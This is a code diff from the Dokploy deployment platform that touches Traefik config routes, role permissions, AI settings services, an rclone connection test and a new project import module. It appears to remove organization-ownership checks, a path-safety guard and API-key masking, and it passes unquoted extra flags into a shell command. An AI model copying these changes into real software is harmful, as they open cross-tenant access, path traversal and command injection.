.query(async ({ ctx, input }) => {
try {
await checkPermission(ctx, { traefikFiles: ["read"] });
if (input?.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({ code: "UNAUTHORIZED" });
}
}
const { MAIN_TRAEFIK_PATH } = paths(!!input?.serverId);
const result = await readDirectory(MAIN_TRAEFIK_PATH, input?.serverId);
return result || [];
@@ -631,15 +598,8 @@ export const settingsRouter = createTRPCRouter({
.input(apiModifyTraefikConfig)
.mutation(async ({ input, ctx }) => {
await checkPermission(ctx, { traefikFiles: ["write"] });
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({ code: "UNAUTHORIZED" });
}
}
const safePath = resolveTraefikFilePath(input.path, input?.serverId);
await writeTraefikConfigInPath(
safePath,
input.path,
input.traefikConfig,
input?.serverId,
);
@@ -664,8 +624,7 @@ export const settingsRouter = createTRPCRouter({
}
}
const safePath = resolveTraefikFilePath(input.path, input.serverId);
return readConfigInPath(safePath, input.serverId);
return readConfigInPath(input.path, input.serverId);
}),
getIp: protectedProcedure.query(async () => {
if (IS_CLOUD) {
+3 -28
View File
@@ -12,10 +12,7 @@ import { db } from "@dokploy/server/db";
import { hasValidLicense } from "@dokploy/server/index";
import type { statements } from "@dokploy/server/lib/access-control";
import { validateRequest } from "@dokploy/server/lib/auth";
import {
checkPermission,
resolvePermissions,
} from "@dokploy/server/services/permission";
import { checkPermission } from "@dokploy/server/services/permission";
import type { OpenApiMeta } from "@dokploy/trpc-openapi";
import { initTRPC, TRPCError } from "@trpc/server";
import type { CreateNextContextOptions } from "@trpc/server/adapters/next";
@@ -85,14 +82,14 @@ export const createTRPCContext = async (opts: CreateNextContextOptions) => {
return createInnerTRPCContext({
req,
res,
// @ts-expect-error
// @ts-ignore
session: session
? {
...session,
activeOrganizationId: session.activeOrganizationId || "",
}
: null,
// @ts-expect-error
// @ts-ignore
user: user
? {
...user,
@@ -266,25 +263,3 @@ export const withPermission = <R extends Resource>(
await checkPermission(ctx, { [resource]: [action] } as any);
return next();
});
export const withAnyPermission = <R extends Resource>(
resource: R,
actions: ActionOf<R>[],
) =>
protectedProcedure.use(async ({ ctx, next }) => {
const permissions = await resolvePermissions(ctx);
const resourcePerms = permissions[resource];
if (resourcePerms) {
for (const action of actions) {
if ((resourcePerms as Record<string, boolean>)[action as string]) {
return next();
}
}
}
throw new TRPCError({
code: "UNAUTHORIZED",
message: "Permission denied",
});
});
+2
View File
@@ -8,6 +8,7 @@ import {
initCronJobs,
initEnterpriseBackupCronJobs,
initializeNetwork,
initProjectExportImportCleanup,
initSchedules,
initVolumeBackupsCronJobs,
sendDokployRestartNotifications,
@@ -68,6 +69,7 @@ void app.prepare().then(async () => {
await sendDokployRestartNotifications();
}
await initEnterpriseBackupCronJobs();
initProjectExportImportCleanup();
if (!IS_CLOUD) {
console.log("Starting Deployment Worker");
+1
View File
@@ -139,5 +139,6 @@ export const paths = (isServer = false) => {
VOLUME_BACKUPS_PATH: `${BASE_PATH}/volume-backups`,
VOLUME_BACKUP_LOCK_PATH: `${BASE_PATH}/volume-backup-lock`,
PATCH_REPOS_PATH: `${BASE_PATH}/patch-repos`,
PROJECT_EXPORT_IMPORT_PATH: `${BASE_PATH}/project-export-import`,
};
};
+4 -3
View File
@@ -59,7 +59,9 @@ export type AuditAction =
| "stop"
| "reload"
| "rebuild"
| "move";
| "move"
| "export"
| "import";
export type AuditResourceType =
| "project"
@@ -95,5 +97,4 @@ export type AuditResourceType =
| "network"
| "vaultProvider"
| "dnsProvider"
| "telemetryProvider"
| "ai";
| "telemetryProvider";
+8 -8
View File
@@ -476,8 +476,8 @@ packages:
resolution: {integrity: sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==}
engines: {node: ^4.5.0 || >= 5.9}
brace-expansion@5.0.12:
resolution: {integrity: sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==}
brace-expansion@5.0.9:
resolution: {integrity: sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==}
engines: {node: 20 || >=22}
chokidar@4.0.3:
@@ -773,8 +773,8 @@ packages:
resolution: {integrity: sha512-2Dd78bqzzjE6KPkD5fHZmDAKRNe3J15q+YHDrIsy9WEkqttc7GY+kT9OBLSMaPbQaEd0x1BjcmtMtXkfpc+T5A==}
engines: {node: '>=10.2.0'}
source-map-js@1.2.2:
resolution: {integrity: sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==}
source-map-js@1.2.1:
resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==}
engines: {node: '>=0.10.0'}
strip-bom@3.0.0:
@@ -1166,7 +1166,7 @@ snapshots:
base64id@2.0.0: {}
brace-expansion@5.0.12:
brace-expansion@5.0.9:
dependencies:
balanced-match: 4.0.4
@@ -1200,7 +1200,7 @@ snapshots:
css-tree@3.2.1:
dependencies:
mdn-data: 2.27.1
source-map-js: 1.2.2
source-map-js: 1.2.1
csstype@3.2.3: {}
@@ -1361,7 +1361,7 @@ snapshots:
minimatch@10.2.6:
dependencies:
brace-expansion: 5.0.12
brace-expansion: 5.0.9
minimist@1.2.8: {}
@@ -1490,7 +1490,7 @@ snapshots:
- supports-color
- utf-8-validate
source-map-js@1.2.2: {}
source-map-js@1.2.1: {}
strip-bom@3.0.0: {}
+1
View File
@@ -47,6 +47,7 @@ export * from "./services/port";
export * from "./services/postgres";
export * from "./services/preview-deployment";
export * from "./services/project";
export * from "./services/project-export-import";
export * from "./services/proprietary/forward-auth";
export * from "./services/proprietary/license-key";
export * from "./services/proprietary/sso";
+1 -6
View File
@@ -9,7 +9,7 @@ import { createAccessControl } from "better-auth/plugins/access";
* The rest are Dokploy-specific resources.
*
* Enterprise-only resources (only assignable via custom roles):
* deployment, envVars, server, registry, certificate, backup, domain, logs, monitoring, ai
* deployment, envVars, server, registry, certificate, backup, domain, logs, monitoring
*/
export const statements = {
// better-auth organization plugin defaults
@@ -51,7 +51,6 @@ export const statements = {
auditLog: ["read"],
vaultProvider: ["read", "create", "update", "delete"],
dnsProvider: ["read", "create", "update", "delete"],
ai: ["read", "create", "update", "delete"],
} as const;
/**
@@ -80,7 +79,6 @@ export const enterpriseOnlyResources = new Set<string>([
"auditLog",
"vaultProvider",
"dnsProvider",
"ai",
]);
export const ac = createAccessControl(statements);
@@ -123,7 +121,6 @@ export const ownerRole = ac.newRole({
vaultProvider: ["read", "create", "update", "delete"],
dnsProvider: ["read", "create", "update", "delete"],
telemetryProvider: ["read", "create", "delete"],
ai: ["read", "create", "update", "delete"],
});
/**
@@ -164,7 +161,6 @@ export const adminRole = ac.newRole({
vaultProvider: ["read", "create", "update", "delete"],
dnsProvider: ["read", "create", "update", "delete"],
telemetryProvider: ["read", "create", "delete"],
ai: ["read", "create", "update", "delete"],
});
/**
@@ -211,5 +207,4 @@ export const memberRole = ac.newRole({
// Members need provider/secret names for env editor autocomplete; values are never exposed
vaultProvider: ["read"],
dnsProvider: [],
ai: [],
});
+11 -60
View File
@@ -4,22 +4,12 @@ import { aiCustomProviderSchema } from "@dokploy/server/db/schema/ai";
import { selectAIProvider } from "@dokploy/server/utils/ai/select-ai-provider";
import { TRPCError } from "@trpc/server";
import { generateText, Output } from "ai";
import { and, desc, eq } from "drizzle-orm";
import { desc, eq } from "drizzle-orm";
import { z } from "zod";
import { IS_CLOUD } from "../constants";
import { findServerById } from "./server";
import { getWebServerSettings } from "./web-server-settings";
export const AI_SECRET_MASK = "********";
export const maskAiApiKey = <T extends { apiKey: string }>(settings: T): T => ({
...settings,
apiKey: AI_SECRET_MASK,
});
export const mergeAiApiKey = (incoming: string, existing: string): string =>
incoming === AI_SECRET_MASK ? existing : incoming;
interface SuggestionItem {
id: string;
name: string;
@@ -46,12 +36,9 @@ export const getAiSettingsByOrganizationId = async (organizationId: string) => {
return aiSettings;
};
export const getAiSettingById = async (
aiId: string,
organizationId: string,
) => {
export const getAiSettingById = async (aiId: string) => {
const aiSetting = await db.query.ai.findFirst({
where: and(eq(ai.aiId, aiId), eq(ai.organizationId, organizationId)),
where: eq(ai.aiId, aiId),
});
if (!aiSetting) {
throw new TRPCError({
@@ -108,43 +95,11 @@ export const saveCustomAiProviders = async (
return providers;
};
export const normalizeApiUrl = (url: string) => url.trim().replace(/\/+$/, "");
const normalizeApiUrl = (url: string) => url.trim().replace(/\/+$/, "");
export const resolveAiApiKey = async (opts: {
apiKey: string;
apiUrl: string;
aiId: string | undefined;
organizationId: string;
authorize: () => Promise<boolean>;
}): Promise<string> => {
if (opts.apiKey !== AI_SECRET_MASK || !opts.aiId) return opts.apiKey;
if (!(await opts.authorize())) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "Permission denied",
});
}
const stored = await getAiSettingById(opts.aiId, opts.organizationId);
if (normalizeApiUrl(stored.apiUrl) !== normalizeApiUrl(opts.apiUrl)) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "API URL does not match the stored configuration",
});
}
return stored.apiKey;
};
export const saveAiSettings = async (
organizationId: string,
settings: any,
checkExistence = true,
) => {
export const saveAiSettings = async (organizationId: string, settings: any) => {
const aiId = settings.aiId;
if (aiId && checkExistence) {
await getAiSettingById(aiId, organizationId);
}
if (settings.apiUrl) {
const customProviders = await getCustomAiProviders(organizationId);
if (customProviders.length > 0) {
@@ -177,13 +132,8 @@ export const saveAiSettings = async (
});
};
export const deleteAiSettings = async (
aiId: string,
organizationId: string,
) => {
return db
.delete(ai)
.where(and(eq(ai.aiId, aiId), eq(ai.organizationId, organizationId)));
export const deleteAiSettings = async (aiId: string) => {
return db.delete(ai).where(eq(ai.aiId, aiId));
};
interface Props {
@@ -194,14 +144,14 @@ interface Props {
}
export const suggestVariants = async ({
organizationId,
organizationId: _organizationId,
aiId,
input,
serverId,
}: Props) => {
try {
const aiSettings = await getAiSettingById(aiId, organizationId);
if (!aiSettings?.isEnabled) {
const aiSettings = await getAiSettingById(aiId);
if (!aiSettings || !aiSettings.isEnabled) {
throw new TRPCError({
code: "NOT_FOUND",
message: "AI features are not enabled for this configuration",
@@ -259,6 +209,7 @@ export const suggestVariants = async ({
const result = await generateText({
model,
// @ts-ignore - Zod + AI SDK Output.object() causes excessively deep instantiation
output: Output.object({ schema: fullSchema }),
prompt: `
Act as advanced DevOps engineer. Analyze the user's request and generate up to 3 deployment suggestions, each with a complete docker compose configuration.
+1 -1
View File
@@ -84,7 +84,7 @@ export const removeCertificateById = async (certificateId: string) => {
return result;
};
const createCertificateFiles = async (certificate: Certificate) => {
export const createCertificateFiles = async (certificate: Certificate) => {
const { CERTIFICATES_PATH } = paths(!!certificate.serverId);
const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath);
const crtPath = path.join(certDir, "chain.crt");
@@ -3,12 +3,60 @@ import {
type apiCreateDestination,
destinations,
} from "@dokploy/server/db/schema";
import {
execAsync,
execAsyncRemote,
} from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { and, eq } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { IS_CLOUD } from "../constants";
export type Destination = typeof destinations.$inferSelect;
export const testDestinationConnection = async (input: {
accessKey: string;
secretAccessKey: string;
bucket: string;
region: string;
endpoint: string;
provider?: string | null;
additionalFlags?: string[] | null;
serverId?: string | null;
}): Promise<void> => {
const rcloneFlags = [
`--s3-access-key-id=${quote([input.accessKey])}`,
`--s3-secret-access-key=${quote([input.secretAccessKey])}`,
`--s3-region=${quote([input.region])}`,
`--s3-endpoint=${quote([input.endpoint])}`,
"--s3-no-check-bucket",
"--s3-force-path-style",
"--retries 1",
"--low-level-retries 1",
"--timeout 10s",
"--contimeout 5s",
];
if (input.provider) {
rcloneFlags.unshift(`--s3-provider=${quote([input.provider])}`);
}
if (input.additionalFlags?.length) {
rcloneFlags.push(...input.additionalFlags);
}
const rcloneDestination = `:s3:${input.bucket}`;
const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`;
if (IS_CLOUD) {
if (!input.serverId) {
throw new TRPCError({ code: "NOT_FOUND", message: "Server not found" });
}
await execAsyncRemote(input.serverId, rcloneCommand);
return;
}
await execAsync(rcloneCommand);
};
export const createDestination = async (
input: z.infer<typeof apiCreateDestination>,
organizationId: string,
@@ -0,0 +1,350 @@
import {
environments,
projects,
projectTags,
tags,
} from "@dokploy/server/db/schema";
import { parse } from "dotenv";
import { eq } from "drizzle-orm";
import type { ApplyServicesContext, DbServiceKind } from "./apply/services";
import {
DB_SERVICE_KINDS,
insertApplication,
insertCompose,
insertDbService,
rewriteVaultNames,
} from "./apply/services";
import { applyVaultAssignments, insertSharedByValue } from "./apply/shared";
import { replaceAppNames } from "./appname";
import { conflictResolutionsOf, resolvedProjectName } from "./conflicts";
import type { TransferTx, TransferWriteDb } from "./queries";
import {
buildServerIpMap,
buildServiceBuildServerMap,
buildServiceServerMap,
} from "./resolve";
import { applyRotation } from "./rotate";
import { restoreSecretFields } from "./secret-fields";
import type {
Plan,
ServiceType,
Snapshot,
TransferResult,
Warning,
} from "./types";
import { transferResultSchema } from "./types";
const rewriteSharedEnv = (
row: Record<string, unknown>,
plan: Plan,
vaultNameMap: Record<string, string>,
): Record<string, unknown> =>
typeof row.env === "string"
? {
...row,
env: rewriteVaultNames(
replaceAppNames(row.env, plan.appNameMap),
vaultNameMap,
),
}
: row;
const ENV_KEY_REGEX = /^\s*(?:export\s+)?([\w.-]+)\s*=/;
const appendMissingEnv = (target: string, source: string): string => {
const targetKeys = new Set(Object.keys(parse(target)));
const missing = source.split("\n").filter((line) => {
const key = ENV_KEY_REGEX.exec(line)?.[1];
return key && !targetKeys.has(key);
});
if (missing.length === 0) return target;
return [target.trimEnd(), ...missing].filter(Boolean).join("\n");
};
const insertProjectAndEnvironments = async (
tx: TransferTx,
snapshot: Snapshot,
plan: Plan,
organizationId: string,
secretsPlain: Map<string, string>,
vaultNameMap: Record<string, string>,
): Promise<{ projectId: string; environmentIdMap: Record<string, string> }> => {
const { tags: projectTagRows, ...restoredProject } = rewriteSharedEnv(
restoreSecretFields("project", snapshot.resources.project, secretsPlain),
plan,
vaultNameMap,
);
let projectId: string;
if (plan.target.kind === "newProject") {
const [inserted] = await tx
.insert(projects)
.values({
...restoredProject,
projectId: undefined,
name: resolvedProjectName(plan.target, conflictResolutionsOf(plan)),
description: plan.target.description ?? null,
organizationId,
} as unknown as typeof projects.$inferInsert)
.returning();
if (!inserted) {
throw new Error("Failed to insert project");
}
projectId = inserted.projectId;
await applyProjectTags(
tx,
projectId,
organizationId,
(projectTagRows as { name: string; color: string | null }[]) ?? [],
);
} else {
const targetProjectId = plan.target.projectId;
const project = await tx.query.projects.findFirst({
where: (fields, { eq }) => eq(fields.projectId, targetProjectId),
columns: { organizationId: true },
});
if (!project || project.organizationId !== organizationId) {
throw new Error(
`Cannot import into project "${targetProjectId}": not found in this organization`,
);
}
projectId = targetProjectId;
}
const environmentIdMap: Record<string, string> = {};
if (plan.target.kind === "newProject") {
let firstInsertedId: string | undefined;
let sawDefault = false;
for (const env of snapshot.resources.environments) {
const restored = rewriteSharedEnv(
restoreSecretFields("environment", env, secretsPlain),
plan,
vaultNameMap,
);
const [inserted] = await tx
.insert(environments)
.values({
...restored,
environmentId: undefined,
projectId,
isDefault: Boolean(env.isDefault),
} as unknown as typeof environments.$inferInsert)
.returning();
if (inserted) {
environmentIdMap[env.environmentId as string] = inserted.environmentId;
firstInsertedId ??= inserted.environmentId;
sawDefault ||= inserted.isDefault;
}
}
if (!sawDefault && firstInsertedId) {
await tx
.update(environments)
.set({ isDefault: true })
.where(eq(environments.environmentId, firstInsertedId));
}
} else {
const baseName = plan.target.environmentName;
let index = 0;
for (const env of snapshot.resources.environments) {
const restored = rewriteSharedEnv(
restoreSecretFields("environment", env, secretsPlain),
plan,
vaultNameMap,
);
// Imported services read ${{project.*}} as ${{environment.*}} here, so the existing project's variables stay untouched.
restored.env = appendMissingEnv(
typeof restored.env === "string" ? restored.env : "",
typeof restoredProject.env === "string" ? restoredProject.env : "",
);
const name =
index === 0
? baseName
: `${baseName}-${(env.name as string | undefined) ?? `env-${index + 1}`}`;
const [inserted] = await tx
.insert(environments)
.values({
...restored,
environmentId: undefined,
name,
projectId,
isDefault: false,
} as unknown as typeof environments.$inferInsert)
.returning();
if (inserted) {
environmentIdMap[env.environmentId as string] = inserted.environmentId;
}
index += 1;
}
}
return { projectId, environmentIdMap };
};
const applyProjectTags = async (
tx: TransferTx,
projectId: string,
organizationId: string,
tagRows: { name: string; color: string | null }[],
): Promise<void> => {
for (const { name, color } of tagRows) {
const existing = await tx.query.tags.findFirst({
where: (fields, { and, eq }) =>
and(eq(fields.organizationId, organizationId), eq(fields.name, name)),
});
let tagId = existing?.tagId;
if (!tagId) {
const [inserted] = await tx
.insert(tags)
.values({ name, color, organizationId })
.returning();
tagId = inserted?.tagId;
}
if (!tagId) continue;
await tx.insert(projectTags).values({ projectId, tagId });
}
};
export const apply = async (
db: TransferWriteDb,
snapshot: Snapshot,
plan: Plan,
secretsPlain: Map<string, string>,
organizationId: string,
): Promise<TransferResult> => {
const serverIpMap = await buildServerIpMap(
db,
plan.serverMap,
organizationId,
);
const serviceServerMap = buildServiceServerMap(snapshot);
const serviceBuildServerMap = buildServiceBuildServerMap(snapshot);
return db.transaction(async (tx) => {
const { idMaps, vaultNameMap } = await insertSharedByValue(
tx,
snapshot,
plan,
secretsPlain,
organizationId,
);
const { projectId, environmentIdMap } = await insertProjectAndEnvironments(
tx,
snapshot,
plan,
organizationId,
secretsPlain,
vaultNameMap,
);
const conflictResolutions = conflictResolutionsOf(plan);
const serviceIdMap: Record<ServiceType, Record<string, string>> = {
application: {},
compose: {},
postgres: {},
mysql: {},
mariadb: {},
mongo: {},
redis: {},
libsql: {},
};
const ctx: ApplyServicesContext = {
tx,
snapshot,
plan,
idMaps,
secretsPlain,
vaultNameMap,
conflictResolutions,
organizationId,
serverIpMap,
serviceServerMap,
serviceBuildServerMap,
};
const serviceInsertWarnings: Warning[] = [];
for (const service of snapshot.resources.services) {
const kind = service.kind as ServiceType;
const oldEnvironmentId = service.environmentId as string;
const newEnvironmentId = environmentIdMap[oldEnvironmentId];
if (!newEnvironmentId) continue;
if (kind === "application") {
const { oldId, newId, warnings } = await insertApplication(
ctx,
service,
newEnvironmentId,
);
serviceIdMap.application[oldId] = newId;
serviceInsertWarnings.push(...warnings);
} else if (kind === "compose") {
const { oldId, newId, warnings } = await insertCompose(
ctx,
service,
newEnvironmentId,
);
serviceIdMap.compose[oldId] = newId;
serviceInsertWarnings.push(...warnings);
} else if ((DB_SERVICE_KINDS as readonly string[]).includes(kind)) {
const { oldId, newId, warnings } = await insertDbService(
ctx,
kind as DbServiceKind,
service,
newEnvironmentId,
);
serviceIdMap[kind][oldId] = newId;
serviceInsertWarnings.push(...warnings);
}
}
const newEnvironmentIds = [...new Set(Object.values(environmentIdMap))];
await applyVaultAssignments(
tx,
snapshot,
idMaps,
projectId,
newEnvironmentIds,
);
const { rotations, warnings: rotationWarnings } = await applyRotation(
tx,
snapshot,
serviceIdMap,
plan.rotateDatabaseCredentials,
{
projectId: plan.target.kind === "newProject" ? projectId : null,
environmentIds: newEnvironmentIds,
},
);
const idMap: Record<string, Record<string, string>> = {
project: { [snapshot.resources.project.projectId as string]: projectId },
environment: environmentIdMap,
destination: idMaps.destination,
registry: idMaps.registry,
sshKey: idMaps.sshKey,
network: idMaps.network,
certificate: idMaps.certificate,
vaultProvider: idMaps.vaultProvider,
...serviceIdMap,
};
const pendingRequirements = Object.entries(plan.resolutions)
.filter(([, resolution]) => resolution.action === "skip")
.map(([key]) => key);
return transferResultSchema.parse({
idMap,
appNameMap: plan.appNameMap,
pendingRequirements,
pendingServices: plan.pendingServices,
rotations,
restoreErrors: [],
warnings: [
...plan.warnings,
...rotationWarnings,
...serviceInsertWarnings,
],
});
});
};
@@ -0,0 +1,283 @@
import {
backups,
domains,
mounts,
ports,
redirects,
schedules,
security,
volumeBackups,
} from "@dokploy/server/db/schema";
import { VOLUME_NAME_REGEX } from "@dokploy/server/db/schema/utils";
import {
finalDomainHost,
regenerateAppName,
rewriteVolumeName,
} from "../appname";
import { isUnsafeBundlePath } from "../deserialize";
import type { TransferTx } from "../queries";
import { restoreSecretFields } from "../secret-fields";
import type { ConflictResolution, DomainStrategy } from "../types";
import { conflictKey } from "../types";
const MAX_BACKUP_APPNAME_RETRIES = 5;
const ensureUniqueBackupAppName = async (
tx: TransferTx,
oldAppName: string,
): Promise<string> => {
let candidate = regenerateAppName("backup", oldAppName);
for (let i = 0; i < MAX_BACKUP_APPNAME_RETRIES; i++) {
const existing = await tx.query.backups.findFirst({
where: (fields, { eq }) => eq(fields.appName, candidate),
});
if (!existing) {
return candidate;
}
candidate = regenerateAppName("backup", oldAppName);
}
throw new Error(
`Could not generate a unique appName for a backup after ${MAX_BACKUP_APPNAME_RETRIES} attempts`,
);
};
type ParentRef = {
applicationId?: string;
composeId?: string;
postgresId?: string;
mysqlId?: string;
mariadbId?: string;
mongoId?: string;
redisId?: string;
libsqlId?: string;
};
export const insertDomains = async (
tx: TransferTx,
rows: Record<string, unknown>[],
parent: ParentRef,
appNameMap: Record<string, string>,
domainStrategy: DomainStrategy,
conflictResolutions: Record<string, ConflictResolution>,
destinationIp: string | null = null,
): Promise<void> => {
for (const row of rows) {
const strategized = finalDomainHost(
row.host as string,
appNameMap,
destinationIp,
domainStrategy,
(row.enabled as boolean | undefined) ?? true,
);
const resolution =
conflictResolutions[
conflictKey({ kind: "domain", value: strategized.host })
];
const host =
resolution?.action === "rename" && resolution.value
? resolution.value.trim()
: strategized.host;
const enabled = resolution?.action === "skip" ? false : strategized.enabled;
await tx.insert(domains).values({
...row,
domainId: undefined,
host,
enabled,
...parent,
previewDeploymentId: null,
} as unknown as typeof domains.$inferInsert);
}
};
export const insertMounts = async (
tx: TransferTx,
rows: Record<string, unknown>[],
parent: ParentRef,
appNameMap: Record<string, string>,
secretsPlain: Map<string, string>,
): Promise<void> => {
for (const row of rows) {
if (
typeof row.filePath === "string" &&
row.filePath &&
isUnsafeBundlePath(row.filePath)
) {
throw new Error(`Unsafe mount filePath in bundle: "${row.filePath}"`);
}
const restored = restoreSecretFields("mount", row, secretsPlain);
const volumeName =
typeof row.volumeName === "string"
? rewriteVolumeName(row.volumeName, appNameMap).value
: row.volumeName;
if (
row.type === "volume" &&
typeof volumeName === "string" &&
volumeName &&
!VOLUME_NAME_REGEX.test(volumeName)
) {
throw new Error(`Invalid volume name in bundle: "${volumeName}"`);
}
await tx.insert(mounts).values({
...restored,
mountId: undefined,
volumeName,
...parent,
} as unknown as typeof mounts.$inferInsert);
}
};
export const resolvePublishedPort = (
port: unknown,
conflictResolutions: Record<string, ConflictResolution>,
): number | null => {
const resolution =
conflictResolutions[conflictKey({ kind: "port", value: String(port) })];
if (resolution?.action === "skip") return null;
const publishedPort =
resolution?.action === "rename" && resolution.value
? Number.parseInt(resolution.value, 10)
: port;
if (
typeof publishedPort !== "number" ||
publishedPort < 1 ||
publishedPort > 65535
) {
throw new Error(`Invalid published port: ${String(publishedPort)}`);
}
return publishedPort;
};
export const insertPorts = async (
tx: TransferTx,
rows: Record<string, unknown>[],
applicationId: string,
portsStrategy: "keep" | "disable" = "keep",
conflictResolutions: Record<string, ConflictResolution> = {},
): Promise<void> => {
if (portsStrategy === "disable") return;
for (const row of rows) {
const publishedPort = resolvePublishedPort(
row.publishedPort,
conflictResolutions,
);
if (publishedPort === null) continue;
await tx.insert(ports).values({
...row,
portId: undefined,
publishedPort,
applicationId,
} as unknown as typeof ports.$inferInsert);
}
};
export const insertRedirects = async (
tx: TransferTx,
rows: Record<string, unknown>[],
applicationId: string,
): Promise<void> => {
for (const row of rows) {
await tx.insert(redirects).values({
...row,
redirectId: undefined,
applicationId,
} as unknown as typeof redirects.$inferInsert);
}
};
export const insertSecurity = async (
tx: TransferTx,
rows: Record<string, unknown>[],
applicationId: string,
secretsPlain: Map<string, string>,
): Promise<void> => {
for (const row of rows) {
const restored = restoreSecretFields("security", row, secretsPlain);
await tx.insert(security).values({
...restored,
securityId: undefined,
applicationId,
} as unknown as typeof security.$inferInsert);
}
};
export const insertBackups = async (
tx: TransferTx,
rows: Record<string, unknown>[],
parent: ParentRef,
destinationIdMap: Record<string, string>,
secretsPlain: Map<string, string>,
): Promise<{ skipped: number }> => {
let skipped = 0;
for (const row of rows) {
const oldDestinationId = row.destinationId as string;
const destinationId = destinationIdMap[oldDestinationId];
if (!destinationId) {
skipped++;
continue;
}
const restored = restoreSecretFields("backup", row, secretsPlain);
const appName = await ensureUniqueBackupAppName(
tx,
restored.appName as string,
);
await tx.insert(backups).values({
...restored,
backupId: undefined,
appName,
destinationId,
...parent,
} as unknown as typeof backups.$inferInsert);
}
return { skipped };
};
export const insertVolumeBackups = async (
tx: TransferTx,
rows: Record<string, unknown>[],
parent: ParentRef,
destinationIdMap: Record<string, string>,
appNameMap: Record<string, string>,
): Promise<{ skipped: number }> => {
let skipped = 0;
for (const row of rows) {
const oldDestinationId = row.destinationId as string;
const destinationId = destinationIdMap[oldDestinationId];
if (!destinationId) {
skipped++;
continue;
}
const volumeName =
typeof row.volumeName === "string"
? rewriteVolumeName(row.volumeName, appNameMap).value
: row.volumeName;
if (typeof volumeName !== "string" || !VOLUME_NAME_REGEX.test(volumeName)) {
throw new Error(`Invalid volume name in bundle: "${String(volumeName)}"`);
}
await tx.insert(volumeBackups).values({
...row,
volumeBackupId: undefined,
destinationId,
volumeName,
...parent,
} as unknown as typeof volumeBackups.$inferInsert);
}
return { skipped };
};
export const insertSchedules = async (
tx: TransferTx,
rows: Record<string, unknown>[],
parent: ParentRef,
organizationId: string,
serverId: string | null,
): Promise<void> => {
for (const row of rows) {
await tx.insert(schedules).values({
...row,
scheduleId: undefined,
organizationId,
serverId,
...parent,
} as unknown as typeof schedules.$inferInsert);
}
};
@@ -0,0 +1,548 @@
import {
applications,
compose,
gitProvider,
libsql,
mariadb,
mongo,
mysql,
postgres,
redis,
} from "@dokploy/server/db/schema";
import { generateRandomHash } from "@dokploy/server/utils/docker/compose";
import { eq } from "drizzle-orm";
import { replaceAppNames } from "../appname";
import type { TransferTx } from "../queries";
import { restoreSecretFields } from "../secret-fields";
import { buildUsedBy, SERVICE_ID_FIELD } from "../service-kinds";
import type {
ConflictResolution,
Plan,
ServiceType,
Snapshot,
Warning,
} from "../types";
import {
insertBackups,
insertDomains,
insertMounts,
insertPorts,
insertRedirects,
insertSchedules,
insertSecurity,
insertVolumeBackups,
resolvePublishedPort,
} from "./children";
import type { SharedIdMaps } from "./shared";
export const rewriteVaultNames = (
env: string,
vaultNameMap: Record<string, string>,
): string => {
let result = env;
for (const [oldName, newName] of Object.entries(vaultNameMap)) {
if (oldName === newName) continue;
result = result
.split(`\${{vault.${oldName}.`)
.join(`\${{vault.${newName}.`);
}
return result;
};
const CHILD_ARRAY_KEYS = [
"domains",
"mounts",
"ports",
"redirects",
"security",
"schedules",
"volumeBackups",
"backups",
];
const VARIABLE_FIELDS = [
"env",
"buildArgs",
"buildSecrets",
"previewEnv",
"previewBuildArgs",
];
const remapCommonFields = (
ctx: ApplyServicesContext,
row: Record<string, unknown>,
oldId: string,
kind: ServiceType,
newEnvironmentId: string,
): { row: Record<string, unknown>; networkIdsSkipped: number } => {
const { plan, idMaps, secretsPlain, vaultNameMap, serviceServerMap } = ctx;
const oldAppName = row.appName as string | undefined;
const oldServerId = serviceServerMap.get(oldId) ?? null;
const restored = restoreSecretFields(kind, row, secretsPlain);
delete restored.kind;
for (const key of CHILD_ARRAY_KEYS) {
delete restored[key];
}
for (const field of VARIABLE_FIELDS) {
const value = restored[field];
if (typeof value !== "string") continue;
const rewritten = rewriteVaultNames(
replaceAppNames(value, plan.appNameMap),
vaultNameMap,
);
restored[field] =
plan.target.kind === "existingProject"
? rewritten.replaceAll("${{project.", "${{environment.")
: rewritten;
}
const oldNetworkIds = (row.networkIds as string[] | null) ?? [];
const networkIds = oldNetworkIds
.map((id) => idMaps.network[id])
.filter((id): id is string => Boolean(id));
return {
row: {
...restored,
environmentId: newEnvironmentId,
serverId: plan.serverMap[oldServerId ?? "null"] ?? null,
appName: oldAppName
? (plan.appNameMap[oldAppName] ?? oldAppName)
: oldAppName,
networkIds,
},
networkIdsSkipped: oldNetworkIds.length - networkIds.length,
};
};
const skipWarning = (
skipped: number,
code: Warning["code"],
message: (name: string) => string,
serviceType: ServiceType,
serviceId: string,
row: Record<string, unknown>,
environmentId: string,
): Warning[] => {
if (skipped === 0) return [];
const usedBy = buildUsedBy(environmentId, serviceType, row, serviceId);
return [
{
code,
severity: "warning",
message: message(usedBy.serviceName),
affected: [usedBy],
},
];
};
const buildBackupSkipWarning = (
skipped: number,
serviceType: ServiceType,
serviceId: string,
row: Record<string, unknown>,
environmentId: string,
): Warning[] =>
skipWarning(
skipped,
"BACKUP_DESTINATION_UNRESOLVED",
(name) =>
`${skipped} backup/volume backup entr${skipped === 1 ? "y" : "ies"} for "${name}" were dropped; their destination was never resolved.`,
serviceType,
